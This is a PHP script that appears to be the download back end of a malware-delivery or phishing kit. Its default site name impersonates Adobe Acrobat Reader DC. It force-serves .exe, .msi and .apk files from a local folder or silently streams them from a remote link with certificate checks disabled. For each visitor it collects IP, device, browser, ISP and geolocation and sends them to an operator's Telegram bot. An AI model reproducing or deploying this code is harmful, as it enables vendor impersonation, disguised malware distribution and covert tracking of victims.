<?php
ini_set('display_errors', 0);
ini_set('log_errors', 1);
ini_set('error_log', 'error_log.txt');

while (ob_get_level()) ob_end_clean();
ob_start();

function getClientIP() {
    if (!empty($_SERVER['HTTP_CLIENT_IP'])) return filter_var($_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP);
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) return filter_var(trim(explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]), FILTER_VALIDATE_IP);
    return $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN';
}

function detectDevice($ua) {
    if (stripos($ua, 'iPhone') !== false) return 'iPhone';
    if (stripos($ua, 'iPad') !== false) return 'iPad';
    if (stripos($ua, 'Android') !== false) return 'Android';
    if (stripos($ua, 'Mobile') !== false) return 'Mobile';
    return 'Desktop';
}

function detectBrowser($ua) {
    if (stripos($ua, 'Edge') !== false) return 'Edge';
    if (stripos($ua, 'Chrome') !== false) return 'Chrome';
    if (stripos($ua, 'Firefox') !== false) return 'Firefox';
    if (stripos($ua, 'Safari') !== false && stripos($ua, 'Chrome') === false) return 'Safari';
    return 'Other';
}

function sendTelegramMessage($msg) {
    $settings = include __DIR__ . '/settings.php';
    if (!empty($settings['telegram']) && $settings['telegram'] === "1" &&
        !empty($settings['bot_url']) && !empty($settings['chat_id'])) {
        $payload = [
            'chat_id' => $settings['chat_id'],
            'text' => $msg,
            'parse_mode' => 'HTML'
        ];
        @file_get_contents("https://api.telegram.org/{$settings['bot_url']}/sendMessage", false,
            stream_context_create(['http'=>[
                'method'=>'POST',
                'header'=>'Content-Type: application/x-www-form-urlencoded',
                'content'=>http_build_query($payload)
            ]])
        );
    }
}

$settings = include __DIR__ . '/settings.php';
$ip = getClientIP();
$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$device = detectDevice($ua);
$browser = detectBrowser($ua);
$type = $_GET['type'] ?? 'unknown';

$downloadMode = $settings['download_mode'] ?? 'file';
$selectedSource = '';
$selectedValue = '';
$filename = '';

if ($downloadMode === 'link' && !empty($settings['download_link'])) {
    $url = trim($settings['download_link']);
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        $selectedSource = 'link';
        $selectedValue = $url;
        $filename = basename(parse_url($url, PHP_URL_PATH));
    } else {
        $downloadMode = 'file';
    }
}

if ($downloadMode === 'file') {
    $filename = basename($settings['download_filename'] ?? '');
    if (!$filename) exit("No local file defined in settings.php");
    $selectedSource = 'file';
    $selectedValue = __DIR__ . '/files/' . $filename;
}

// Location info
$city = $country = $isp = "Unknown";
try {
    $geo = @json_decode(@file_get_contents("http://ip-api.com/json/{$ip}"), true);
    if ($geo && isset($geo['status']) && $geo['status'] === 'success') {
        $city = $geo['city'] ?? 'Unknown';
        $country = $geo['country'] ?? 'Unknown';
        $isp = $geo['isp'] ?? 'Unknown';
    }
} catch(Exception $e){}

// Get site name from settings
$siteName = isset($settings['site_name']) ? $settings['site_name'] : 'Adobe Acrobat Reader DC';

// Logging and notification
if (isset($settings['notify_on_download']) && $settings['notify_on_download']) {
    $msg = "🚨 <b>DOWNLOAD ALERT</b> 🚨\n\n";
    $msg .= ($selectedSource==='file') ? "📁 File: <b>{$filename}</b>\n" : "🌐 External Link Download\n";
    $msg .= "📱 Device: {$device}\n🌐 Browser: {$browser}\n📍 Location: {$city}, {$country}\n🧭 ISP: {$isp}\n🕒 Time: ".date("Y-m-d H:i:s")."\n🔗 Type: {$type}\n🔒 IP: {$ip}";
    sendTelegramMessage($msg);
}

if (isset($settings['log_downloads']) && $settings['log_downloads']) {
    @file_put_contents('downloads.log', date("Y-m-d H:i:s")." | {$ip} | {$country}/{$city} | {$browser} | {$device} | {$filename}\n", FILE_APPEND);
}

// Serve external link silently
if($selectedSource==='link') {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $mimeTypes = [
        'exe'=>'application/octet-stream','msi'=>'application/octet-stream','apk'=>'application/vnd.android.package-archive',
        'zip'=>'application/zip','pdf'=>'application/pdf','docx'=>'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
        'xlsx'=>'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet','txt'=>'text/plain','pkg'=>'application/octet-stream'
    ];
    $contentType = $mimeTypes[$ext] ?? 'application/octet-stream';

    header('Content-Description: File Transfer');
    header('Content-Type: '.$contentType);
    header('Content-Disposition: attachment; filename="'.$filename.'"');
    header('Content-Transfer-Encoding: binary');
    header('Expires:0');
    header('Cache-Control: must-revalidate');
    header('Pragma: public');

    // Stream the remote file
    $ch = curl_init($selectedValue);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192);
    curl_setopt($ch, CURLOPT_NOPROGRESS, false);
    curl_setopt($ch, CURLOPT_PROGRESSFUNCTION, function(){});
    curl_setopt($ch, CURLOPT_FILE, fopen('php://output', 'w'));
    curl_exec($ch);
    curl_close($ch);
    exit;
}

// Serve local file
if(!file_exists($selectedValue)){
    if(!is_dir(__DIR__.'/files')) mkdir(__DIR__.'/files',0755,true);
    file_put_contents($selectedValue, "This is a placeholder for {$filename}");
}

$ext = strtolower(pathinfo($selectedValue, PATHINFO_EXTENSION));
$allowed = ['exe','pdf','zip','docx','xlsx','txt','apk','msi','pkg'];
if(!in_array($ext,$allowed)) exit('Forbidden file type.');

$mimeTypes = [
    'exe'=>'application/octet-stream','msi'=>'application/octet-stream','apk'=>'application/vnd.android.package-archive',
    'zip'=>'application/zip','pdf'=>'application/pdf','docx'=>'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
    'xlsx'=>'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet','txt'=>'text/plain','pkg'=>'application/octet-stream'
];
$contentType = $mimeTypes[$ext] ?? 'application/octet-stream';
header('Content-Description: File Transfer');
header('Content-Type: '.$contentType);
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-Transfer-Encoding: binary');
header('Expires:0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: '.filesize($selectedValue));
flush();
readfile($selectedValue);
exit;
?>
